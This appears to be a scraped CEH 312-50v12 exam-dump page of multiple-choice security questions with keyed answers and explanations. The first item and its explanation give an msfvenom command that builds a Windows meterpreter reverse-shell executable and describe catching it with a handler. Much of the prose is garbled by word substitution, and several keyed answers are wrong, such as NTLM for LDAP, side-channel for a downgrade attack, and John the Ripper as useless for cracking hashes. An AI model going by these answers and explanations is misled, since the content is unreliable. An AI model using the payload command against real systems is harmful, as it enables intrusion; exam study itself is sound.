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what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

  • A. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f c
  • B. msfvenom -p windows/meterpreter/reverse_tcp RHOST= LPORT=4444 -f c
  • C. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell.exe
  • D. msfvenom -p windows/meterpreter/reverse_tcp RHOST= LPORT=4444 -f exe > shell.exe

Answer: C

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
Example for Windows:
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=Y<our IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

which of the following protocols can be used to secure an LDAP service against anonymous queries?

  • A. SSO
  • C. WPA
  • D. NTLM

Answer: D

In a Windows network, nongovernmental organization (New Technology) local area network Manager (NTLM) could be a suite of Microsoft security protocols supposed to produce authentication, integrity, and confidentiality to users.NTLM is that the successor to the authentication protocol in Microsoft local area network Manager (LANMAN), Associate in Nursing older Microsoft product. The NTLM protocol suite is enforced in an exceedingly Security Support supplier, which mixes the local area network Manager authentication protocol, NTLMv1, NTLMv2 and NTLM2 Session protocols in an exceedingly single package. whether or not these protocols area unit used or will be used on a system is ruled by cluster Policy settings, that totally different|completely different} versions of Windows have different default settings. NTLM passwords area unit thought-about weak as a result of they will be brute-forced very simply with fashionable hardware.
NTLM could be a challenge-response authentication protocol that uses 3 messages to authenticate a consumer in an exceedingly affiliation orientating setting (connectionless is similar), and a fourth extra message if integrity is desired.
First, the consumer establishes a network path to the server and sends a NEGOTIATE_MESSAGE advertising its capabilities.
Next, the server responds with CHALLENGE_MESSAGE that is employed to determine the identity of the consumer.
Finally, the consumer responds to the challenge with Associate in Nursing AUTHENTICATE_MESSAGE.
The NTLM protocol uses one or each of 2 hashed word values, each of that are keep on the server (or domain controller), and that through a scarcity of seasoning area unit word equivalent, that means that if you grab the hash price from the server, you’ll evidence while not knowing the particular word. the 2 area unit the lm Hash (a DES-based operate applied to the primary fourteen chars of the word born-again to the standard eight bit laptop charset for the language), and also the nt Hash (MD4 of the insufficient endian UTF-16 Unicode password). each hash values area unit sixteen bytes (128 bits) every.
The NTLM protocol additionally uses one among 2 a method functions, looking on the NTLM version. National Trust LanMan and NTLM version one use the DES primarily based LanMan a method operate (LMOWF), whereas National TrustLMv2 uses the NT MD4 primarily based a method operate (NTOWF).

Samuel a security administrator, is assessing the configuration of a web server. He noticed that the server permits SSlv2 connections, and the same private key certificate is used on a different server that allows SSLv2 connections. This vulnerability makes the web server vulnerable to attacks as the SSLv2 server can leak key information.
Which of the following attacks can be performed by exploiting the above vulnerability?

  • A. DROWN attack
  • B. Padding oracle attack
  • C. Side-channel attack
  • D. DUHK attack

Answer: A

DROWN is a serious vulnerability that affects HTTPS and other services that deem SSL and TLS, some of the essential cryptographic protocols for net security. These protocols allow everyone on the net to browse the net, use email, look on-line, and send instant messages while not third-parties being able to browse the communication.
DROWN allows attackers to break the encryption and read or steal sensitive communications, as well as passwords, credit card numbers, trade secrets, or financial data. At the time of public disclosure on March 2016, our measurements indicated thirty third of all HTTPS servers were vulnerable to the attack. fortuitously, the vulnerability is much less prevalent currently. As of 2019, SSL Labs estimates that one.2% of HTTPS servers are vulnerable.
What will the attackers gain?Any communication between users and the server. This typically includes, however isn’t limited to, usernames and passwords, credit card numbers, emails, instant messages, and sensitive documents. under some common scenarios, an attacker can also impersonate a secure web site and intercept or change the content the user sees.
Who is vulnerable?Websites, mail servers, and other TLS-dependent services are in danger for the DROWN attack. At the time of public disclosure, many popular sites were affected. we used Internet-wide scanning to live how many sites are vulnerable:
SSLv2312-50v12 dumps exhibit
Operators of vulnerable servers got to take action. there’s nothing practical that browsers or end-users will do on their own to protect against this attack.
Is my site vulnerable?Modern servers and shoppers use the TLS encryption protocol. However, because of misconfigurations, several servers also still support SSLv2, a 1990s-era precursor to TLS. This support did not matter in practice, since no up-to-date clients really use SSLv2. Therefore, despite the fact that SSLv2 is thought to be badly insecure, until now, simply supporting SSLv2 wasn’t thought of a security problem, is a clients never used it.
DROWN shows that merely supporting SSLv2 may be a threat to fashionable servers and clients. It modern associate degree attacker to modern fashionable TLS connections between up-to-date clients and servers by sending probes to a server that supports SSLv2 and uses the same private key.
SSLv2312-50v12 dumps exhibit
It allows SSLv2 connections. This is surprisingly common, due to misconfiguration and inappropriate default settings.
Its private key is used on any other serverthat allows SSLv2 connections, even for another protocol.
Many companies reuse the same certificate and key on their web and email servers, for instance. In this case, if the email server supports SSLv2 and the web server does not, an attacker can take advantage of the email server to break TLS connections to the web server.
A server is vulnerable to DROWN if:SSLv2312-50v12 dumps exhibit
How do I protect my server?To protect against DROWN, server operators need to ensure that their private keys software used anyplace with server computer code that enables SSLv2 connections. This includes net servers, SMTP servers, IMAP and POP servers, and the other software that supports SSL/TLS.
Disabling SSLv2 is difficult and depends on the particular server software. we offer instructions here for many common products:
OpenSSL: OpenSSL may be a science library employed in several server merchandise. For users of OpenSSL, the simplest and recommended solution is to upgrade to a recent OpenSSL version. OpenSSL 1.0.2 users
ought to upgrade to 1.0.2g. OpenSSL 1.0.1 users ought to upgrade to one.0.1s. Users of older OpenSSL versions ought to upgrade to either one in every of these versions. (Updated March thirteenth, 16:00 UTC) Microsoft IIS (Windows Server): Support for SSLv2 on the server aspect is enabled by default only on the OS versions that correspond to IIS 7.0 and IIS seven.5, particularly Windows scene, Windows Server 2008, Windows seven and Windows Server 2008R2. This support is disabled within the appropriate SSLv2 subkey for ‘Server’, as outlined in KB245030. albeit users haven’t taken the steps to disable SSLv2, the export-grade and 56-bit ciphers that build DROWN possible don’t seem to be supported by default.
Network Security Services (NSS): NSS may be a common science library designed into several server merchandise. NSS versions three.13 (released back in 2012) and higher than ought to have SSLv2 disabled by default. (A little variety of users might have enabled SSLv2 manually and can got to take steps to disable it.) Users of older versions ought to upgrade to a more moderen version. we tend to still advocate checking whether or not your non-public secret is exposed elsewhere
Other affected software and in operation systems:
Instructions and data for: Apache, Postfix, Nginx, Debian, Red Hat
Browsers and other consumers: practical nothing practical that net browsers or different client computer code will do to stop DROWN. only server operators ar ready to take action to guard against the attack.

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network lo identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

  • A. internal assessment
  • B. Passive assessment
  • C. External assessment
  • D. Credentialed assessment

Answer: B

Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

User A is writing a sensitive email message to user B outside the local network. User A has chosen to use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of the OSI layer does the encryption and decryption of the message take place?

  • A. Application
  • B. Transport
  • C. Session
  • D. Presentation

Answer: D

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.
Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

in this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstall the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values. What is this attack called?

  • A. Chop chop attack
  • B. KRACK
  • C. Evil twin
  • D. Wardriving

Answer: B

In this attack KRACK is an acronym for Key Reinstallation Attack. KRACK may be a severe replay attack on Wi-Fi Protected Access protocol (WPA2), which secures your Wi-Fi connection. Hackers use KRACK to take advantage of a vulnerability in WPA2. When in close range of a possible victim, attackers can access and skim encrypted data using KRACK.
How KRACK WorksYour Wi-Fi client uses a four-way handshake when attempting to attach to a protected network. The handshake confirms that both the client — your smartphone, laptop, et cetera — and therefore the access point share the right credentials, usually a password for the network. This establishes the Pairwise passkey (PMK), which allows for encoding .Overall, this handshake procedure allows for quick logins and connections and sets up a replacement encryption key with each connection. this is often what keeps data secure on Wi-Fi connections, and every one protected Wi-Fi connections use the four-way handshake for security. This protocol is that the reason users are encouraged to use private or credential-protected Wi-Fi instead of public connections.KRACK affects the third step of the handshake, allowing the attacker to control and replay the WPA2 encryption key to trick it into installing a key already in use. When the key’s reinstalled, other parameters related to it — the incremental transmit packet number called the nonce and therefore the replay counter — are set to their original values.Rather than move to the fourth step within the four-way handshake, nonce resets still replay transmissions of the third step. This sets up the encryption protocol for attack, and counting on how the attackers replay the third-step transmissions, they will take down Wi-Fi security.
Why KRACK may be a ThreatThink of all the devices you employ that believe Wi-Fi. it isn’t almost laptops and smartphones; numerous smart devices now structure the web of Things (IoT). due to the vulnerability in WPA2, everything connected to Wi-Fi is in danger of being hacked or hijacked.Attackers using KRACK can gain access to usernames and passwords also as data stored on devices. Hackers can read emails and consider photos of transmitted data then use that information to blackmail users or sell it on the Dark Web.Theft of stored data requires more steps, like an HTTP content injection to load malware into the system. Hackers could conceivably take hold of any device used thereon Wi-Fi connection. Because the attacks require hackers to be on the brink of the target, these internet security threats could also cause physical security threats.On the opposite hand, the necessity to be in close proximity is that the only excellent news associated with KRACK, as meaning a widespread attack would be extremely difficult.Victims are specifically targeted. However, there are concerns that a experienced attacker could develop the talents to use HTTP content injection to load malware onto websites to make a more widespread affect.
Everyone is in danger from KRACK vulnerability. Patches are available for Windows and iOS devices, but a released patch for Android devices is currently in question (November 2017). There are issues with the discharge , and lots of question if all versions and devices are covered.The real problem is with routers and IoT devices. These devices aren’t updated as regularly as computer operating systems, and for several devices, security flaws got to be addressed on the manufacturing side. New devices should address KRACK, but the devices you have already got in your home probably aren’t protected.
The best protection against KRACK is to make sure any device connected to Wi-Fi is patched and updated with the newest firmware. that has checking together with your router’s manufacturer periodically to ascertain if patches are available.
The safest connection option may be a private VPN, especially when publicly spaces. If you would like a VPN for private use, avoid free options, as they need their own security problems and there’ll even be issues with HTTPs. Use a paid service offered by a trusted vendor like Kaspersky. Also, more modern networks use WPA3 for better security.Avoid using public Wi-Fi, albeit it’s password protection. That password is out there to almost anyone, which reduces the safety level considerably.All the widespread implications of KRACK and therefore the WPA2 vulnerability aren’t yet clear. what’s certain is that everybody who uses Wi-Fi is in danger and wishes to require precautions to guard their data and devices.

What does the –oX flag do in an Nmap scan?

  • A. Perform an eXpress scan
  • B. Output the results in truncated format to the screen
  • C. Output the results in XML format to a file
  • D. Perform an Xmas scan

Answer: C

-oX <filespec> - Requests that XML output be directed to the given filename.

in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know It. How do you accomplish this?

  • A. Delete the wireless network
  • B. Remove all passwords
  • C. Lock all users
  • D. Disable SSID broadcasting

Answer: D

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router’s settings.
Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.
With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough. They have to configure their settings manually by including the network name, security mode, and other relevant info.
Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:
- Disabling SSID broadcast will not hide your network completely
Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.
- Third-party software can easily trace a hidden network
Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.
- You might attract unwanted attention.
Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

  • A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.
  • B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
  • C. Symmetric encryption allows the server to security transmit the session keys out-of-band.
  • D. Asymmetric cryptography is computationally expensive in compariso
  • E. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Answer: A

joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

  • A. Cloud booker
  • B. Cloud consumer
  • C. Cloud carrier
  • D. Cloud auditor

Answer: C

A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.
Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.
The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical transport of storage media like high- capacity hard drives.
Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

An attacker identified that a user and an access point are both compatible with WPA2 and WPA3 encryption. The attacker installed a rogue access point with only WPA2 compatibility in the vicinity and forced the victim to go through the WPA2 four-way handshake to get connected. After the connection was established, the attacker used automated tools to crack WPA2-encrypted messages. What is the attack performed in the above scenario?

  • A. Timing-based attack
  • B. Side-channel attack
  • C. Downgrade security attack
  • D. Cache-based attack

Answer: B

what is the port to block first in case you are suspicious that an loT device has been compromised?

  • A. 22
  • B. 443
  • C. 48101
  • D. 80

Answer: C

TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission control protocol could be a connectionoriented protocol, it needs acknowledgement to line up end-to-end communications. only a association is about up user’s knowledge may be sent bi-directionally over the association.
Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101 wouldn’t have bonded communication as transmission control protocol.
UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port 48101 thinks that error checking and correction isn’t necessary or performed within the application, avoiding the overhead of such process at the network interface level.
UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).
Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol (SNMP).

User A is writing a sensitive email message to user B outside the local network. User A has chosen to
use PKI to secure his message and ensure only user B can read the sensitive email. At what layer of
the OSI layer does the encryption and decryption of the message take place?

  • A. Application
  • B. Transport
  • C. Session
  • D. Presentation

Answer: D

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as
the data translator for the network. It is sometimes called the syntax layer. The presentation layer is
responsible for the formatting and delivery of information to the application layer for further
processing or display.
Encryption is typically done at this level too, although it can be done on the application, session,
transport, or network layers, each having its own advantages and disadvantages. Decryption is also
handled at the presentation layer. For example, when logging on to bank account sites the
presentation layer will decrypt the data as it is received.

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and
software as many of the other clients on the network. The client can see the network, but cannot
connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to
the association requests being sent by the wireless client. What is a possible source of this problem?

  • A. The WAP does not recognize the client’s MAC address
  • B. The client cannot see the SSID of the wireless network
  • C. Client is configured for the wrong channel
  • D. The wireless client is not configured to use DHCP

Answer: A

MAC filtering is a security method based on access control. Each address is assigned a 48-bit address,
which is used to determine whether we can access a network or not. It helps in listing a set of
allowed devices that you need on your Wi-Fi and the list of denied devices that you don’t want on
your Wi-Fi. It helps in preventing unwanted access to the network. In a way, we can blacklist or white
list certain computers based on their MAC address. We can configure the filter to allow connection
only to those devices included in the white list. White lists provide greater security than blacklists
because the router grants access only to selected devices.
It is used on enterprise wireless networks having multiple access points to prevent clients from
communicating with each other. The access point can be configured only to allow clients to talk to
the default gateway, but not other wireless clients. It increases the efficiency of access to a network.
The router allows configuring a list of allowed MAC addresses in its web interface, allowing you to
choose which devices can connect to your network. The router has several functions designed to
improve the network's security, but not all are useful. Media access control may seem advantageous,
but there are certain flaws.
On a wireless network, the device with the proper credentials such as SSID and password can
authenticate with the router and join the network, which gets an IP address and access to the
internet and any shared resources.
MAC address filtering adds an extra layer of security that checks the device’s MAC address against a
list of agreed addresses. If the client’s address matches one on the router’s list, access is granted;
otherwise, it doesn’t join the network.

Tony is a penetration tester tasked with performing a penetration test. After gaining initial access to a target system, he finds a list of hashed passwords.
Which of the following tools would not be useful for cracking the hashed passwords?

  • A. John the Ripper
  • B. Hashcat
  • C. netcat
  • D. THC-Hydra

Answer: A


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